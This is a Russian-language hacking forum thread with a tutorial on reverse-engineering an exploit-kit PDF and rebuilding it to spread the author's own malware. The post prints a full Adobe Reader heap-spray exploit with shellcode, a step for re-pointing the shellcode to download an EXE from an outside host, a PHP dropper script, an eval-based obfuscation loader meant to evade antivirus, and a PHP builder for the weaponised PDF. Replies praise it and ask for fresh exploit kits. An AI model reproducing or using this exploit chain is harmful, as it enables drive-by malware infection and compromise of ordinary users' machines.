1. Внимание!!! Не заходит на форум? Хотите сохранить доступность к нам на 99.9%? Обязательно запишите все зеркала проекта! Именно по этому мы настоятельно рекомендуем использовать онион домен для TOR-Браузера, там доступность форума будет максимальной. Ссылка для установки и все зеркала в этой темe.

    Зеркало для TOR-Браузера - http://norabizt5qqxefxy.onion

    Чистое зеркало для обычных браузеров - https://nora.holiday

    Скрыть объявление

Реверсим PDF Exploit + чистка JS и сборка

Тема в разделе "АРХИВ СТАТЕЙ", создана пользователем Mr.ROBOT, 14 янв 2016.

  1. Mr.ROBOT
    off

    Mr.ROBOT include(Happy) VIP МАГАЗИНЫ

    Сообщения:
    124
    Пол:
    Мужской
    Репутация:
    64
    Сфера:
    Хакинг
    Реверсим PDF Exploit + чистка JS и сборка

    Всем здрасти! И с нова с вами команда Mr.ROBOT со свои новым сюжетом. Недавно мне понадобился пдф эксплойт и я решил снять его со связки, отреверсить, почистить и использовать в своих целях. Это война пули и брони, выходит новый приватный эксплойт пдф у одной из связок , другие авторы его сразу же пиздят и ставят в свои связки или продают билды по 1000$ и выше на подобных форумах.

    Сейчас в принципе все доступно в паблике, но если нужно, что то новенькое, то стучим продавцам связок, билдов и просим тест, от туда уже снимаем сам пдф для реверса.

    Допустим у нас есть пдф файл с эксплойтом из какой нибудь связки, теперь нам нужно найти и вытащить объект с javaScript эксплойтом из этой пдф'ки.

    Вот инструменты на путоне:
    Скачать:
    РЕВЕРСИМ ПДФ.rar
    Пасс:
    nora.biz

    В архиве pdfid_v0_0_11.zip, pdf-parser_V0_3_7.zip, make-pdf_V0_1_1.zip, python.msi (для Win). Ставим интерпретатор путона на свою ОС, далее вытаскиваем JS exploit PDF.

    На этом видео подробно показано как найти нужный объект и вытащить JS.

    Если влом смотреть, то вот

    [SRC]pdf-parser.py --object 8 --filter --raw exploit.pdf > 1.js[/SRC]

    Нужно только найти ссылку на объект, в моем случаи 8.



    Еще нашел важную вещь, цитирую с хакер ру


    Если ты обратил внимание, когда мы говорили про структуру PDF-документа, мы сказали, что у объекта Stream может быть атрибут /Filter, который определяет, каким методом сжаты данные потока. Причем к потоку могут быть применены сразу несколько фильтров (например,/Filter [/Fl /Ahx]). Что касается интересующего нас объекта JavaScript, то он, в свою очередь, должен содержать либо функцию, либо косвенную ссылку на код для выполнения. Поэтому зараженные файлы очень часто содержат JavaScript-объекты следующего вида: /JS (this.Z0pEA5PLzPyyw\(\)). При этом простой поиск функции по имени ничего не даст, так как она скорей всего будет расположена в сжатом потоке. Чтобы получить распакованное содержимое потока, можно воспользоваться утилитой PDFtk:

    pdftk 1.pdf output uncompressed.pdf uncompress`

    После этого у нас появится файл uncompressed.pdf с распакованным содержимым, пригодным для дальнейшего анализа. Ну а дальше действуем по использованной выше схем



    Еще одна важная вещь, PDF-файлы это своего рода архивы в которых можно носить зараженные SWF-файлов. Что бы извлечь такой файл для анализа, используйте:

    [SRC]

    https://github.com/9b/pdfxray_lite/blob/master/swf_mastah.py

    swf_mastah.py -f malicious.pdf -fileswf ./
    [/SRC]

    Далее будем работать по моему примеру, а так все аналогично.

    Допустим вытащили сплойт и привели его в порядок:

    [SRC]
    <script>
    function shcode(url)
    {
    sh = "%u9090%u9090%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
    return sh+url;
    }
    function nplayer() {
    function kzbve()
    {
    var eobwe="p@111111111111111111111111 : yyyy111";
    util.printd(eobwe, new Date());
    }
    var grizxw=12000;
    jucobu=new Array();
    var klkng = "%u9090%u9090";
    var hwjnalb8=shcode("%u722F%u6F6F%u616D%u7472%u692E%u666E%u2F6F%u6C66%u652F%u6578%u702E%u7068%u653F%u7078%u503D%u4644%u2820%u656E%u5077%u616C%u6579%u2972");
    klkng=unescape(klkng);
    hwjnalb8=unescape(hwjnalb8);
    while(klkng.length <= 0x8000){klkng+=klkng;}
    klkng=klkng.substr(0,0x8000 - hwjnalb8.length);
    for(fzfwam=0;fzfwam<grizxw;fzfwam++) {jucobu[fzfwam]=klkng + hwjnalb8;}
    if(grizxw){kzbve();kzbve();try {this.media.newPlayer(null);} catch(e) {}kzbve();}
    }
    function printf() {
    var payload=unescape(shcode("22F%u6F6F%u616D%u7472%u692E%u666E%u2F6F%u6C66%u652F%u6578%u702E%u7068%u653F%u7078%u503D%u4644%u2820%u7270%u6E69%u6674%u0029"));
    var nop ="";
    for (iCnt=128;iCnt>=0;--iCnt) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
    heapblock = nop + payload;
    bigblock = unescape("%u9090%u9090");
    headersize = 20;
    spray = headersize+heapblock.length;
    while (bigblock.length<spray) bigblock+=bigblock;
    fillblock = bigblock.substring(0, spray);
    block = bigblock.substring(0, bigblock.length-spray);
    while(block.length+spray < 0x40000) block = block+block+fillblock;
    mem = new Array();
    for (i=0;i<1400;i++) mem = block + heapblock;
    var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
    util.printf("%45000f",num);
    }
    function geticon() {
    var shellcode=unescape(shcode("%u7468%u7074%u2F3A%u722F%u6F6F%u616D%u7472%u692E%u666E%u2F6F%u6C66%u652F%u6578%u702E%u7068%u653F%u7078%u503D%u4644%u2820%u6547%u4974%u6F63%u296E"));
    garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellcode;
    nopblock = unescape("%u9090%u9090");
    headersize = 10;
    acl = headersize+garbage.length;
    while (nopblock.length<acl) nopblock+=nopblock;
    fillblock = nopblock.substring(0, acl);
    block = nopblock.substring(0, nopblock.length-acl);
    while(block.length+acl<0x40000) block = block+block+fillblock;
    memory = new Array();
    for (i=0;i<180;i++) memory = block + garbage;
    var buffersize = 4012;
    var buffer = Array(buffersize);
    for (i=0; i<buffersize; i++)
    {
    buffer = unescape("%0a%0a%0a%0a");
    }
    Collab.getIcon(buffer+"_N.bundle");
    }
    function collab() {
    function fix_it(yarsp,len) {
    while(yarsp.length*2<len) { yarsp+=yarsp; }
    yarsp=yarsp.substring(0,len/2);
    return yarsp; }
    var shellcode=unescape(shcode("6F6F%u616D%u7472%u692E%u666E%u2F6F%u6C66%u652F%u6578%u702E%u7068%u653F%u7078%u503D%u464F43%u6C6C%u6261%u0029"));
    var mem_array=new Array();
    var cc=0x0c0c0c0c;
    var addr=0x400000;
    var sc_len=shellcode.length*2;
    var len=addr-(sc_len+0x38);
    var yarsp=unescape("%u9090%u9090");
    yarsp=fix_it(yarsp,len);
    var count2=(cc-0x400000)/addr;
    for(var count=0;count<count2;count++) {mem_array[count]=yarsp+shellcode; }
    var overflow=unescape("%u0c0c%u0c0c");
    while(overflow.length<44952) {overflow+=overflow; }
    this.collabStore=Collab.collectEmailInfo( { subj:"",msg:eek:verflow } );
    }
    aPlugins = app.plugIns;
    var sv=parseInt(app.viewerVersion.toString().charAt(0));
    for (var i=0; i < aPlugins.length; i++)
    {
    if (aPlugins.name=="EScript")
    {
    var lv=aPlugins.version;
    }
    }
    if ((lv==9)||((sv==8)&&(lv<=8.12)))
    {
    geticon();
    }
    else if (lv==7.1)
    {
    printf();
    }
    else if (((sv==6)||(sv==7))&&(lv<7.11))
    {
    collab();
    }
    else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17))
    {
    nplayer();
    }
    </script>
    [/SRC]

    Теперь у нас на руках готовый эксплойт, осталось разобраться с шелл-кодом и перевязать сплойт на наш урл, далее закриптовать и радоваться жизни.

    Ковыряем Shell-код

    В нашем эксплойте используется несколько известных уязвимостей типа geticon, collab, nplayer... PDF в примере взят со старой связки и шелл-коды я там побил, дабы не палить чужие урлы.

    Наша задача прикрутить его к нам на хост, для этого ищем строку в наше эксплойте

    [SRC]
    shellcode=unescape(shcode("6F6F%u616D%u7472%u692E%u666E%u2F6F%u6C66%u652F%u6578%u702E%u7068%u653F%u7078%u503D%u464F43...."));
    [/SRC]

    Что бы декодировать содержимое unescape, воспользуемся JS

    [SRC]<script>
    document.write(unescape("%u7468%u7074%u2F3A%u722F%u6F6F%u616D%u7D%u4644%u2820%u656E%u5077%u616C%u6579%u2972...."));
    </script>[/SRC]


    На выходи получаем проблемы с кодировкой

    [SRC]
    瑨灴⼺爯潯慭瑲椮普⽯汦支慭瑲椮普⽯汦支數瀮灨政灸倽䙄⠠敮偷慬敹⥲
    [/SRC]

    Определяем кодировку и читаем содержимое http://foxtools.ru/Text

    [SRC]
    http://roodfrt.info/fl/exe.php?exp=PDF
    [/SRC]

    Теперь у нас есть 2 варианта, в первом мы можем поставить прямой урл на ехе, закодировать все это в unescape и перейти к следующим шагам. Во-втором варианте мы будем использовать улр до пхп скрипта, который будет раздавать ехе. Плюс в том, что мы можем прикрутить статистику.

    Вот просто скрипт раздачи EXE-файлов

    [SRC]
    <?php


    $file = "file/file.exe";
    $size = filesize($file);
    $f = fopen($file, "r");
    $r = fread($f, $size);
    fclose($f);

    header("Accept-Ranges: bytes");
    header("Content-Length: " . $size . "");
    header("Content-Disposition: inline; filename=" . $file . "");
    header("Content-Type: application/octet-stream");
    echo($r);


    ?>
    [/SRC]

    Так, продолжаем! У нас есть урл до нашего ехе, теперь нам нужно привести его к кодировки юникод и кодировать. Идем на http://foxtools.ru/Text , раздел Кодеры, там выбираем text, далее ставим исходную кодировку Unicode и полученный результат

    [SRC]
    椮普⽯汦支數瀮灨政灸倽䙄
    [/SRC]

    Теперь кодируем его в unescape на онлайн сервисе http://www.utilities-online.info/urlencode/#.VpcblE_4QsM и добавляем в эксплойт. Если это комба и урлов не один, то делаем все по аналогии. Все теперь у нас есть рабочий сплойт запиленный под раздачу нашего ехе.

    Чистка JavaScript Exploit'a

    Я предлагаю не стандартный варианта чистки, по этому не буду объяснять для чего каждый шаг, просто читайте дальше.

    Для начала нам понадобится компрессор javascript, можно воспользоваться http://www.exlab.net/tools/js-compressor.html , когда весь код сжался и получился в 1 строку, нам нужно заменить двойные кавычки на одинарные. Для этого можно воспользоваться любым редактором, например Dreamweaver. В меняю поиска есть кнопка "Заменить все", думаю это не проблема и можно исполнить на любом языке.

    Далее обрабатываем наш сплойт пхп скриптом, который делает обфускацию кода. Вариантов тут может быть куча, я придумал следующие

    [SRC]<?
    $s = "сюда_закидываем_наш_сплойт";
    echo implode("ZZZ", str_split($s))."ZZZ";
    ?>[/SRC]

    Что мы тут имеем? Тупо добавляем перед каждым символом "ZZZ", спереди и сзади)

    Теперь наш сплойт похож на кажу и нужно написать загрузчик и постараться запутать аверы.

    [SRC]
    <script>
    function hotfunc(owerav)
    {
    var ciyxe = 'Z';
    var jookkk = '';
    for(formas=0;formas<owerav.length;formas++)
    {
    var goldenz = owerav.charAt(formas);
    if(goldenz == ciyxe) { } else { jookkk+=goldenz;
    }
    }
    return jookkk;
    }
    var stafgarika = hotfunc("ZZfZZuZZZnZZcZZZtZiZZoZZnZ kodekZnZoZZrZZmZZaZZlnZZiZZyZZZZ(ZuZrZlZZZ)ZZ{ZZvZZaZr ZZsZZZhZZ=ZZZ'ZZ%ZZuZZ9Z090ZZ%ZZZuZZ909ZZ0ZZ%ZZuZZCZZZ0ZZ3ZZ3ZZ%ZZuZZ8ZZBZZ6ZZ4ZZ%ZZuZZ3ZZ0ZZ4ZZ0ZZ%ZZuZZ0ZZCZZ7ZZ8ZZ%ZZuZZ4ZZ0ZZ8ZZBZZ%uZZ8ZZBZZ0C%u1ZZC7ZZ0ZZ%ZZuZZ8ZZBZZAZZDZZ%uZZ08ZZ58%u09EBZZ%u40ZZ8BZZ%u8DZZ34%u7C40%u588B%ZZu6A3ZZZ|(ZZZZlvZZZZ<=ZZ8.ZZ17ZZ))ZZZZZZ{sZZZZosZZZZitZZeavivasvrZZZZotebal()ZZZZ;ZZZZ}ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ...................");

    boomboom = ''+stafgarika+'';

    var anonas = 399;
    var jokerz = '';
    zalupaebanai0 = boomboom;
    for(erolz=0;erolz<anonas;erolz++)
    {
    var sum = erolz+1;
    jokerz+='var zalupaebanai'+sum+' = zalupaebanai'+erolz+';';
    this['e'+'val'](jokerz);
    }

    this['e'+'val']('this[\'eva\'+\'l\'](zalupaebanai'+anonas+');');
    </script>
    [/SRC]

    Что делает днный скрипт? Убирает мусор в виде ZZZ и выполняет JavaScript, далее выполняются бессмысленные циклы для запутывания АВ. Теперь наш сплойт (который мы готовили) помещаем в так называемый загрузчик, что написали выше (в переменную stafgarika).

    Вы можете менять ZZZ на ### и производить более сложные модификации, тут мы раскрываем только суть.

    Сборка PDF Exploit'a


    Теперь нам осталось собрать ПДФ-файл, это мы исполним на пхп

    [SRC]
    <?php

    $js_pdf = file_get_contents('1.txt');

    $pdf_body = "
    %PDF-1.3
    2 0 obj << /OpenAction << /JS 9 0 R /S /JavaScript >> /Type /Catalog /Pages 3 0 R >> endobj
    3 0 obj << /Type /Pages >> endobj
    5 0 obj << /Type /Page /Parent 3 0 R >> endobj
    9 0 obj <</Filter /FlateDecode >>
    stream
    {PDF_BODY}
    endstream
    endobj
    trailer <</Root 2 0 R>>
    ";

    $script = gzcompress($js_pdf);

    $pdf = str_replace("{PDF_BODY}", $script, $pdf_body);

    $pdf_lenght = strlen($pdf);

    header("Content-Length: {$pdf_lenght}");
    header("Content-Disposition: inline; filename=readme.pdf");
    header("Content-Type: application/pdf");
    die($pdf);

    ?>
    [/SRC]

    Как вы уже догадались в 1.txt нужно положить написаный выше загрузчик со сплойтом на борту, но предже пройтись компрессором жс http://www.exlab.net/tools/js-compressor.html


    В принципе на этом на сегодня все! Будут вопросы, задавайте.
     

    Вложения:

    Последнее редактирование: 14 янв 2016
  2. dymytri
    off

    dymytri Пока одупляюсь БЕЗ ПРОБЕГА

    Сообщения:
    2
    Пол:
    Мужской
    Репутация:
    0
    Хорошая статья, то что искал.
     
  3. Neutron
    off

    Neutron Активно в Норе УЧАСТНИКИ

    Сообщения:
    48
    Пол:
    Мужской
    Адрес:
    127.0.0.1
    Репутация:
    22
    Сфера:
    Хакинг
    У кого есть пдф со свежей связки?
     
  4. sergo62
    off

    sergo62 Пока одупляюсь БЕЗ ПРОБЕГА

    Сообщения:
    3
    Пол:
    Мужской
    Адрес:
    void
    Репутация:
    0
    Сфера:
    Безопасность
    за статью спасибо, но вроде битый архив
     
  5. ☠xrahitel☠
    off

    ☠xrahitel☠ Активно в Норе УЧАСТНИКИ

    Сообщения:
    74
    Пол:
    Мужской
    Адрес:
    Glendale Avenue
    Репутация:
    14
    Сфера:
    Странник
    отличная спс
     
  6. frec
    off

    frec Пока одупляюсь БЕЗ ПРОБЕГА

    Сообщения:
    3
    Пол:
    Мужской
    Адрес:
    Russia
    Репутация:
    0
    Сфера:
    Странник
    Зарегился только ради этой статьи, автору зачет!!!

    // ссылка удалена Администрацией! Размещай статью в соответствующим разделе, оформляйте и ставь копирайты.
     
    Последнее редактирование модератором: 7 апр 2016
  7. Surise
    off

    Surise Пока одупляюсь УЧАСТНИКИ

    Сообщения:
    9
    Пол:
    Мужской
    Адрес:
    SU
    Репутация:
    2
    Сфера:
    Исследователь
    Грамотно расписано! Респект! Связка есть?)
     
  8. zir0diy
    off

    zir0diy n.N.N.n.n УЧАСТНИКИ

    Сообщения:
    175
    Пол:
    Мужской
    Адрес:
    error
    Репутация:
    33
    Сфера:
    Вирусология
    Связкий сейчас мало актуальны стали, пробив никакой.